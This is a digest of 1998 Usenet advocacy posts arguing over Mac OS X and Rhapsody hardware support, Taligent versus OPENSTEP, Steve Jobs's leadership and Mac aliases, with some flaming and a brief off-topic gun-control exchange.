-Some of those numbers (nb of threads/teams/semaphores/ports/areas,
size of the disk cache, of the swapfile) might depend on the
amount of available RAM.
--
Jean-Baptiste "Djaybee" QUERU
djaybee@cyberdude.com
BeDevId: E-1145
For every complex problem, there is a
solution that is simple, neat, and wrong.
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: 21 Jul 1998 02:50:21 GMT
Organization: University of California at San Diego
Message-ID: <slrn6r80fd.3ku.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <see-below-2007981842580001@dynamic53.pm04.mv.best.com>
On Mon, 20 Jul 1998 18:42:58 -0700, Matthew Vaughan wrote:
:I totally agree. If a Mac has a PowerPC processor, PCI slots, ADB,
:SCSI...what does a G3 Mac have that older Macs lack? If all new G3 Macs
:had USB but no ADB or serial, FireWire but no SCSI, 66MHz PCI and AGP, or
:whatever, then I'd see the point, but as it is there's really no
:distinction between a "G3 PowerMac" and any other PCI PowerMac or
:compatible.
Yes there is. It's all the low-level board level interface hardware which
is different. And the G3 processor is different from previous processors,
if you're a kernel engineer.
The other issue is why is OSX going to be G3 only whereas the Rhapsody 1.0
(aka OSX Server) will support more machines?
Because OSX is going to a new kernel: Mach "3.0". (There are many Mach 3.0's,
b.t.w.). The OS coming out this fall is going to be a continuation of
the 2.5 line.
There are legitimate engineering issues. It's quite possible to debate
their magnitude, and the cost of this support.
:Agreed. Just because we all defend MacOS vs. Windows overall doesn't mean
:we don't think it sucks in many different ways... While 8.5 may be an
:improvement, I don't see it fixing many fundamental issues, and what I've
:heard of 8.6 and 9 (or whatever it will be called) don't sound like great
:leaps forward either. Personally, I'm pretty sick of the lousy
:multitasking, the fragmented memory, etc., but nothing short of OS X will
:fix these issues.
If you want a complete fix, this is true.
Try OSX Server, coming *this* fall. It will turn system crashes of
Mac programs into mere BlueBox freezes.
Some new software might be yellow-box native. You will be able to
do system management with fully protected native programs. Networking,
and networked filesystems will be in the real, advanced kernel.
Then hold out with that until you can get new hardware for full OSX.
Question is: what programs are causing your Mac to freeze and crash frequently?
My guess is "Web browsing." Well, OmniWeb is native on Rhapsody, and people
say it's a very nice browser.
True, Word will never be Yellow-box native. But maybe you will find you
can put up with using Word and other isolated applications in the BlueBox.
Also remember, you will be able to "shutdown" the BlueBox, and restart it
(clearing out any cruft left in there) while the rest of the machine stays
up, humming right along.
I have the feeling that people are underestimating the appeal of
Rhapsody/OSX Server.
Until two months ago, it was going to be the future. Were people complaining
then?
And despite the paranoia, nothing has been taken away from it as an
actual product. No, Word and Photoshop is not going to run natively on it.
Well, there was no evidence they ever would have, and nobody knew when
there would be native versions. Now we do: next fall.
Nobody knew what machines would be compatible with Rhapsody 2.0, the
following version, as nobody was even thinking about what was coming past
1.0.
Suppose it had gone this way, ala Amelio.
Rhapsody 1.0 ships. They then say, "oh btw, Rhapsody 2.0 isn't going
to be compatible with as many machines as 1.0 because we're moving to
a new kernel, which we need for good SMP." Would people be having a
major shitfit?
Somehow I really don't think so.
The only difference is that the content of 2.0 has been upgraded, and
the future incompatibility telegraphed quite early.
I suppose they could have not said anything about hardware compatibility
with OSX, saying "It's too far in the future to tell.". Then when it
comes out, people start whining that Apple didn't give them enough advanced
notice.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: NeedALight?@NOT.netcom.com (Goin' Nova)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy
Subject: Re: Whats up with Edwin Thorne?
Date: Mon, 20 Jul 1998 20:29:41 -0800
Organization: Flames-R-Us
Message-ID: <6p11al$5ip@bgtnsc02.worldnet.att.net>
References: <macghod-1807981251560001@sdn-ar-001casbarp049.dialsprint.net> <MPG.101aed208700dc2b9899bb@news.supernews.com> <joe.ragosta-1807982031210001@elk61.dol.net> <macghod-1807981759190001@sdn-ar-001casbarp256.dialsprint.net> <MPG.101b2cc0423023b29899be@news.supernews.com> <slrn6r3128.2b4.jason@jhste1.dyn.ml.org> <joe.ragosta-1907980743280001@elk55.dol.net>
Mail-Copies-To: never
Otherwise_Known_As: John Hausmann
In article <joe.ragosta-1907980743280001@elk55.dol.net>, joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <slrn6r3128.2b4.jason@jhste1.dyn.ml.org>,
> jason@jhste1.dyn.ml.org (Jason S.) wrote:
>
> > Donald Brown posted the following to comp.sys.mac.advocacy:
> >
> > >I do think Edwin is also too offensive too often (and I've told him so).
> >
> > >But, Joe and Edwin take about the same amount of abuse. Which makes me
> > >believe that it's less about how them comport themselves, and more about
> > >being Mac supporters.
> >
> > I don't think that you can compare the two. Joe draws abuse from the
> > DOSheads because he has been such a strong Mac supporter for all these
> > years in csma. Edwin draws abuse from all sides - and he's only been
> > here since March, IIRC.
> >
> > Edwin takes crap because he dishes it out. Joe takes crap because he
> > has been a visible poster here for so long that he is seen as a pro-Mac
> > institution.
>
> Hmmm. "a pro-Mac institution". I like that.
Now if we can only work on your honesty....
--
Further, you make grammar errors, show mistakes in word choice, and
commit logical fallacies regularly. I don't. On top of all that,
you like a shithouse on fire.
Guess who? in <5o1nmn$4qc@dfw-ixnews5.ix.netcom.com>
From: xmac@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: a new os for the rest of us?
Date: Tue, 21 Jul 1998 03:54:47 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6p13e7$pm4$1@nnrp1.dejanews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <Josh.McKee-1707981733170001@pm3a19.rmac.net> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <6oqjko$qqs$1@camel19.mindspring.com> <6otmti$g4$1@nnrp1.dejanews.com> <MPG.101c7d4f5307a6f09899c6@news.supernews.com> <macghod-1907982258410001@sdn-ar-001casbarp151.dialsprint.net> <MPG.101cf9672b7547519899c9@news.supernews.com> <6p0e24$3bd$2@nnrp03.primenet.com>
In article <6p0e24$3bd$2@nnrp03.primenet.com>,
John Jensen <jjens@primenet.com> wrote:
> Donald Brown <don.brown@cesoft.com> wrote:
> : Depends. What apps will it run? I know Office doesn't run on it, how
> : close is the equivalence? Does the office-equivalent have the same user
> : interface? It's not the UI of the finder that matters, it's the UI of
> : the apps, and the consistancy of the apps.
>
> I would think you wouldn't want Office on your new OS. You could end up
> on the needle like Apple is. Apple got hooked on Office early on, and now
> needs a fix from Microsoft every now and then to keep them going. It's
> not a good thing when your competetor is also your supplier.
>
> Better to stay off the Junk from the start.
>
I agree Linux is an OS for getting things done, not for clerks. (no offense
meant to office users.)
There are some office type apps, but they are not as big or have as many
features. I guess they are closer to an older version of ClarisWorks at this
point, but very usable.
For this type of OS here's what you want: 1. You would want some kind of
simple spreadsheet app -numbers are numbers no matter what you do. 2. Forget
the word processing monsters. Put your reports in HTML or convert to PDF.
(Add a simple graphics editor such as TheGimp.) 3. No special report making
software. (eg powerpig -er I mean powerpoint) See #2. 4. Email: several
simple options here. 5. Calendar/Scheduling: Keep it web-based no need suck
cycles off the CPU just to know what day it is.
All of this already exists...
-Stephen
---------------------------------------------------------------------------
"smells like geek..."
Looking for Mac stuff? Find it here:
http://members.tripod.com/~xgray/index.html -Xgray's Mac Internet Finder
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
References: <6oj5a0$goe$1@hole.sdsu.edu> <35B08C8B.7E9A@REMOVE.wayne.edu> <19980718131133152609@pm2-2-03.aug.com> <35B16136.5FA1@REMOVE.wayne.edu> <900819436.724616@kelp.mbay.net> <35B40129.7D50@digital.net>
Message-ID: <35b414c4.0@news.depaul.edu>
Date: 21 Jul 98 04:10:44 GMT
In comp.sys.next.advocacy Sean C. Payne <scpayne@digital.net> wrote:
> >
> Next=Steve Jobs=No clue how to sell a hardware/software platform...
> Which really concerns me now that he is back at Apple...
I disagree strongly. A CEO who has experienced failure and
learned from it is far better than a CEO who has never been
truly tested (ala Sculley, Spindler).
The management problems he had the first time at Apple have largely
been fixed by later experience, by learning from coworkers and
associates, by watching the rest of the industry, and (I'd assume)
by reflecting on the mistakes of his past.
The management problems he had at NeXT have largely been fixed
by the same things. Also consider that NeXT faced issues that
are not faced by Apple; namely, NeXT was a new, unknown,
incompatible platform with no software. *IBM* couldn't
even introduce a new OS successfully, and theirs ran
Windows apps on Intel PC's. The most successful new
platform this decade is *the Palm Pilot*. Just about
everything else has failed.
I think we've seen that Jobs certainly *can* sell a
platform. Not just any platform, but the Mac, which was
all but given last rites.
Jobs has his 'warts', so to speak, but frankly I can't think of
*anyone* better for the job.
--
"... and subpoenas for all." - Ken Starr
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Mon, 20 Jul 1998 20:55:21 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-2007982055220001@sdn-ar-002casbarp320.dialsprint.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <pxpst2-2007981409410001@pelli.pathology.pitt.edu> <joe.ragosta-2007982108170001@elk57.dol.net>
In article <joe.ragosta-2007982108170001@elk57.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> > In article <not-2007981004090001@ip-26-136.phx.primenet.com>,
> > eilersm@psn.net wrote:
> >
> >
> > > Yes, but see above--Apple doesn't care a rats ass for a mac over 4 years
> > > old--they don't even get tech support. Try to call Apple right now and ask
> > > them for help with your IIsi.
>
> The IIsi was discontinued in 1991 and is comparable to a 386. What major
> OS is supported by the vendor on a 386?
Well, how many of them besides Apple made a big deal about them having
"free lifetime tech support"?
--
Joe, do not look directly at the RDF. What you want
to do is punch a hole in a piece of cardboard and
make a pin-hole camera and observe the RDF from a safe distance.
- Sal Denaro
From: "Ed Deans." <eadeans@san.rr.com>
Newsgroups: comp.sys.next.advocacy
References: <uEjs1.692$E5.5085028@proxye1.san.rr.com> <6otg65$25pc$1@piglet.cc.uic.edu> <6ott0v$apk$1@ash.prod.itd.earthlink.net> <UXAs1.1037$E5.5742353@proxye1.san.rr.com> <900978926.987177@kelp.mbay.net>
Subject: Re: OPENSTEP vs. Taligent (Re: Apple houses licensing company for Taligent patents?)
Message-ID: <nFUs1.1386$E5.6629976@proxye1.san.rr.com>
Date: Tue, 21 Jul 1998 04:19:31 GMT
NNTP-Posting-Date: Mon, 20 Jul 1998 21:19:31 PDT
Organization: TWC Road Runner, San Diego, CA
Donald R. McGregor wrote in message <900978926.987177@kelp.mbay.net>...
>In article <UXAs1.1037$E5.5742353@proxye1.san.rr.com>,
>Ed Deans. <eadeans@san.rr.com> wrote:
>>...I'd like to see someone compare OPENSTEP with
>>what Taligent shipped. Note "cpConstructor" (Taligent's equivalent to
>>Interface Builder, AFAIK, doesn't have the docs on-line).
>
>They were demoing it at ObjectWorld 94 or 95. It was pretty bad compared
>to OpenStep. Among the problems on the AIX version demoed:
>
>the demo machines had 256 (512?) MB of memory and fast processors. That
>sort of configuration is questionable even today, and back then was
>absurd.
Demo machines, especially when code is in development are always packed with
things normal people don't have. IBM recommended 32MB of RAM for the
shipping version of CommonPoint for AIX. That's reasonable today. Those
RS/6000's couldn't have compared to well with today's PowerMac or Pentium
II's.
>The UI wasn't anything to write home about. Flashing color maps and
>all the other X baggage.
That's because it was running in a window under AIX I bet...at least that's
what CommonPoint did when it shipped.
>The programming tools were worse than NeXT's at the time; for that matter,
>worse than NeXT's of four years previously. cpConstructor
>was generating code, rather than NeXT's IB's freeze-dried objects.
>Everything was klunkier than working with PB/IB. They quoted several
>_thousand_ classes, compared to a much more reasonable number under
>OS.
OK, so today, extend PB/IB. For a side-by-side, it would be most fair to
compare cpConstructor, etc. with NEXT's 1.0 offering, rather than the
matured OPENSTEP.
It is a *much* larger set of frameworks with many more classes than OPENSTEP
because it was so ambitious. They probably included all the OS classes as
well and the OPENSTEP framework doesn't address those issues. Taligent
bypassed the OS native services (in many cases) and worked with the hardware
directly. At least that's why the docs say regarding the
graphics/multimedia stuff.
>Basically, it was harder to work with than OpenStep, required more
>resources, and had an even smaller installed base. Not a very
>compelling proposition.
Considering OpenStep, based on NEXTSTEP's technology was 5+ years ahead it's
no wonder it had a larger installed base than something which shipped the
same year as the demo you saw (probably was in '95).
What I'm interested in is expanding OPENSTEP, or actually Yellow Box, to
include some of the functionality that Taligent's stuff had. There's
nothing wrong with expanding the capability of OPENSTEP. It shouldn't stand
still, imo. OPENSTEP didn't exactly take the world by storm compared to the
inferior MFC.
Apple cannot expand it's horizons if it sits still and relies on old
object-technology on modern hardware.
I'm most curious what NeXT advocates see in the Taligent stuff which isn't
present in OPENSTEP. What Taligent ideas/concepts/functionality would you
like to see appear in Mac OS X with a new implementation be it via Java of
Objective C.
--Ed.
Thinks there are good ideas in the Taligent work which ought not be ignored.
From: id_est@interport.net (tse_di)
Newsgroups: comp.sys.next.advocacy
Subject: Re: View from the trenches
Date: Tue, 21 Jul 1998 00:27:29 -0400
Organization: none
Message-ID: <id_est-2107980027290001@192.168.1.3>
References: <35B39750.DC508489@cisco.com> <1998072102582700.WAA16893@ladder01.news.aol.com>
In article <1998072102582700.WAA16893@ladder01.news.aol.com>,
willadams@aol.com (WillAdams) wrote:
> As regards the gun control issue.
>
> It is simply impossible for a gun to kill a person unless some person was
> negligent in loading, storing or handling the weapon.
or unless someone is careful in loading, storing and handling the weapon
and simply decides to point it at someone else and pull the trigger.
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: 20 Jul 1998 23:51:34 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6p0l66$h58$1@camel29.mindspring.com>
References: <6or4sj$83a$1@supernews.com> <6p03ce$ll7@btmpjg.god.bel.alcatel.be> <6p04sa$m82$1@msunews.cl.msu.edu> <35B39750.DC508489@cisco.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <6p03ce$ll7@btmpjg.god.bel.alcatel.be> Ralf Suckow,
suckow@*remove_this_to_e-mail_me*bln.sel.alcatel.de writes:
>It's OK to say that if you are american. It seems to me that most
>people in the U.S.A. do think this way. But if you look at countries
>like germany, where normal people don't have the right to own a gun,
>much less people are killed each year (don't remember exactly, for germany
>something like 3 times less per 1 Mio citizens - who knows the
>exact numbers?).
The exact numbers are something like 14 million civilians murdered by the
German government this century.
Matthew Cromer
From: Eric Hermanson <eric@alum.mit.edu>
Newsgroups: comp.sys.next.advocacy
Subject: Re: OPENSTEP vs. Taligent (Re: Apple houses licensing company for
Taligent patents?)
Date: Mon, 20 Jul 1998 21:34:19 -0700
Organization: Digital Universe Corporation
Message-ID: <35B41A4B.893D7DB0@alum.mit.edu>
References: <uEjs1.692$E5.5085028@proxye1.san.rr.com> <6otg65$25pc$1@piglet.cc.uic.edu> <6ott0v$apk$1@ash.prod.itd.earthlink.net> <UXAs1.1037$E5.5742353@proxye1.san.rr.com> <900978926.987177@kelp.mbay.net> <nFUs1.1386$E5.6629976@proxye1.san.rr.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 21 Jul 1998 04:34:57 GMT
Ed Deans. wrote:
>
> OK, so today, extend PB/IB. For a side-by-side, it would be most fair to
> compare cpConstructor, etc. with NEXT's 1.0 offering, rather than the
> matured OPENSTEP.
I wouldn't even say that! cpConstructor was based in C++, didn't support a
dynamic binding (target/action) paradigm, and it crashed every time I saw a demo
of it being run in the Taligent beta class.
> It is a *much* larger set of frameworks with many more classes than OPENSTEP
> because it was so ambitious. They probably included all the OS classes as
> well and the OPENSTEP framework doesn't address those issues. Taligent
> bypassed the OS native services (in many cases) and worked with the hardware
> directly. At least that's why the docs say regarding the
> graphics/multimedia stuff.
The Taligent object model was nothing more than an ill-designed bunch (i.e. over
10,000 classes) of hard to understand classes that were thrown together, and
then "simplifed" by grouping the most important functionality in a layer of
classes and exposing the "simplified API" via a "layer" object. It was
horrendous. As I sat there in one of the Taligent pre-release classes, I had to
hold back the puke as I was exposed to more and more of the "design"
day-by-day.
I made several comments to my classmates that Taligent would be gone within six
months, and that OpenStep would be adopted instead. Everyone ridiculed me. :)
Eric
From: Eric Hermanson <eric@alum.mit.edu>
Newsgroups: comp.sys.next.advocacy
Subject: Re: OPENSTEP vs. Taligent (Re: Apple houses licensing company for
Taligent patents?)
Date: Mon, 20 Jul 1998 23:52:33 -0700
Organization: Digital Universe Corporation
Message-ID: <35B43AB1.BEF87B7B@alum.mit.edu>
References: <uEjs1.692$E5.5085028@proxye1.san.rr.com> <6otg65$25pc$1@piglet.cc.uic.edu> <6ott0v$apk$1@ash.prod.itd.earthlink.net> <UXAs1.1037$E5.5742353@proxye1.san.rr.com> <900978926.987177@kelp.mbay.net> <nFUs1.1386$E5.6629976@proxye1.san.rr.com> <35B41A4B.893D7DB0@alum.mit.edu> <8VVs1.1395$E5.6686139@proxye1.san.rr.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 21 Jul 1998 06:53:19 GMT
Ed Deans. wrote:
> Wouldn't you like to see an object-based file system instead of the creaky
> HFS (even with HFS+)?
If I remember correctly, that was the one cool thing about Taligent. I seem to
remember them working on an incremental compiler that worked with the OO file
system and allowed you to compile (and/or lock) single lines of code. It sort
of provided a built-in source code control system and it might have proven to be
helpful on projects with large #'s of developers working on the same code.
> Wouldn't you like to have a document and task centric
> model?
I don't think that's very hard to achieve with OpenStep (i.e. MacOSX). There is
already support at the API level for developing applications with this paradigm
(NSDocument classes). If you want a grander approach, Apple would have to
decide to support a "true" document centric architecture for the OS, but the
implementation would be relatively easy.
> Wouldn't you like to retain (or exceed) the ease of development
> performance present with OpenStep? Wouldn't you like every
> tool/app/editor/etc. to support collaboration without the programmer having
> to go through considerable effort to build that functionality in?
That's what Services, published bundle API's, and standards are for. OpenStep
currently manifests all of these things. Again, if Apple really wanted to do a
better job on collaborative tools, they simply need to decide to do so, and go
for it (given the current API's, these things would be easy to implement).
> Wouldn't you like to never had to deliberately Save a document again because
> revisions are retained automatically, because changes are journaled
> automatically? Etc., etc.
Every change I ever make is catalogued? On disk? Infinite undo? Sounds like a
useless concept! Not to mention the gigabytes of disk space I would need to
achieve this journaling. What am I missing here?
> These are just some of the things Taligent was trying to accomplish and
> successful or not, it had vision beyond what we've got in today's systems.
> BeOS, OS/2, Windows, Mac OS and OPENSTEP for Mach included.
>
> [Eric's personal opinion that Taligent's design was bad]
It think it _was_ bad. The _design_ was bad. The ideas may or may not have been
good, but that amounts to analysis, not design. And their _implementation_ was
absolutely horrible.
Eric
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X GUI---3 clicks to any window?
Date: 21 Jul 1998 04:29:52 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6p15g0$l3p$1@lwnws01.ne.highway1.com>
References: <edremy-ya02408000R1807982049360001@nnrp.usc.edu> <1998071912165000.IAA22879@ladder01.news.aol.com> <forrestDELETE-THIS!-1907981455030001@term4-17.vta.west.net> <6ou1t5$i00$1@lwnws01.ne.highway1.com> <slrn6r6kln.9fc.sal@panix3.panix.com> <35b365db.0@news.depaul.edu>
> Salvatore Denaro <sal@panix3.panix.com> wrote:
> > On 20 Jul 1998 00:10:13 GMT, John Kheit <jkheit@mediaone.net> wrote:
> > >forrestDELETE-THIS!@west.net (Forrest Cameranesi) wrote:
> > >> And NeXT equally fails to scale down to 15" monitors like mine.
> > >Well, if your 15" can do 1024X768, it does just fine.
>
> > John, have you ever tried to run 1024*768 on a 15" monitor? Even on
> > OpenStep with it's crisp clean fonts, it is almost illegible.
Hi Salvatore. Yes, I have. I deal fine with this. Clearly this may be
personal. Actually, I use 1152X864 (or something close to that) on a 15" a
lot of times at school and do just fine. I don't don't what the dpi works
out at that size, but it's nice for me. At 1600X1200 on a 21" monitor it's
100dpi, and nice too. For me it's very usable and nice. As always, YMMV.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Tue, 21 Jul 1998 16:56:39 +1000
Organization: University of Queensland
Message-ID: <6p1e3r$ub9$1@bunyip.cc.uq.edu.au>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <not-2007982335410001@ip-26-018.phx.primenet.com>
Michael M. Eilers <not@a.valid.email.add> wrote in message
not-2007982335410001@ip-26-018.phx.primenet.com...
>In article <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se>,
>qwerty.x@algonet.se (Magnus Thoor) wrote:
>
>> Just to get shafted again when OS X won't be released due to (insert
>> excuses here)? But Apple instead has OS XI just around the corner but
>> you need a G4 to run it?
>
>Hey, man, your paranoia is your own business. Look for enemies and you
>will always find them, eventually.
>
>> Also, why should I have to buy a new machine if the one I'm using is
>> working fine and is plenty fast? It should work even better with OS X,
>> if Apple's hype is true. We're talking about quite capable machines that
>> gets the boot just because Apple feels like selling a few more G3's, and
>> that's what's makes it so *ugly*.
>
>And Bill Gates obsoleting every 286,386, and 486/sx with Windows 95 was
>not ugly? (please, no stories about how you got 95 to run on a PS/II.
>Whatever you did, it did not run well.)
The difference being, Win95 will run (usably even) on machines built about 4
years before it was released. Apple can't even commit to OS X running on
machines that will be barely *18 months* old at its release.
>--
>"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
>Michael M. Eilers * Fearful Symmetry Designs
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Tue, 21 Jul 1998 00:09:13 -0700
Organization: Fearful Symmetry Designs
Sender: meilers@ip-26-098.phx.primenet.com
Message-ID: <not-2107980009130001@ip-26-098.phx.primenet.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <not-2007982335410001@ip-26-018.phx.primenet.com> <6p1e3r$ub9$1@bunyip.cc.uq.edu.au>
NNTP-Posting-Date: 21 Jul 1998 07:07:12 GMT
Mail-Copies-To: eilersm@psn.net
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <6p1e3r$ub9$1@bunyip.cc.uq.edu.au>, "Christopher Smith"
<drsmithy@usa.net> wrote:
> >And Bill Gates obsoleting every 286,386, and 486/sx with Windows 95 was
> >not ugly? (please, no stories about how you got 95 to run on a PS/II.
> >Whatever you did, it did not run well.)
>
> The difference being, Win95 will run (usably even) on machines built about 4
> years before it was released. Apple can't even commit to OS X running on
> machines that will be barely *18 months* old at its release.
Windows 3.0--->Windows 95 is not a valid comparison to Mac OS 8.5--->Mac
OS X. Win 3.1 and 95 both ran over DOS, for cripes sake. OS X is a totally
different beast under the hood. Not a patch, not a hack, but an entirely
new kernel-based OS. A more valid comparison would be Win 3.1--->NT 5.0.
And guess what the reccommended minimum processor for NT 5 is?
A Pentium II.
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
Michael M. Eilers * Fearful Symmetry Designs
From: "Ed Deans." <eadeans@san.rr.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <3593EEF0.4785E327@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <JWMs1.1091$E5.6247799@proxye1.san.rr.com> <ericb-2007982116410001@128.84.203.147>
Subject: Re: Mac OS X UI
Message-ID: <PbVs1.1389$E5.6653879@proxye1.san.rr.com>
Date: Tue, 21 Jul 1998 04:56:15 GMT
NNTP-Posting-Date: Mon, 20 Jul 1998 21:56:15 PDT
Organization: TWC Road Runner, San Diego, CA
Eric Bennett wrote in message ...
>In article <JWMs1.1091$E5.6247799@proxye1.san.rr.com>, "Ed Deans."
><eadeans@san.rr.com> wrote:
>
>> Aliases are "dumb"--not working across volumes.
>
>What exactly do you mean by this? Aliases work across volumes and file
>servers too.
Unless something changed very recently if I drag the original over to a new
volume and delete the old one (because the Mac doesn't let me move between
volumes) the alias no longer points to the item. The problem here is
because it depends on file ID numbers which are volume dependant. Sure if I
create the alias on the volume that contains the original and copy the alias
where I want it, I'm OK. Just don't move the original to another volume or
you're sunk. :(
Hmmm...can I drop an alias to my desktop printer into an email and sent it
to someone on my network? AFAIK, nothey have to goto the chooser to connect
to it once it's shared.
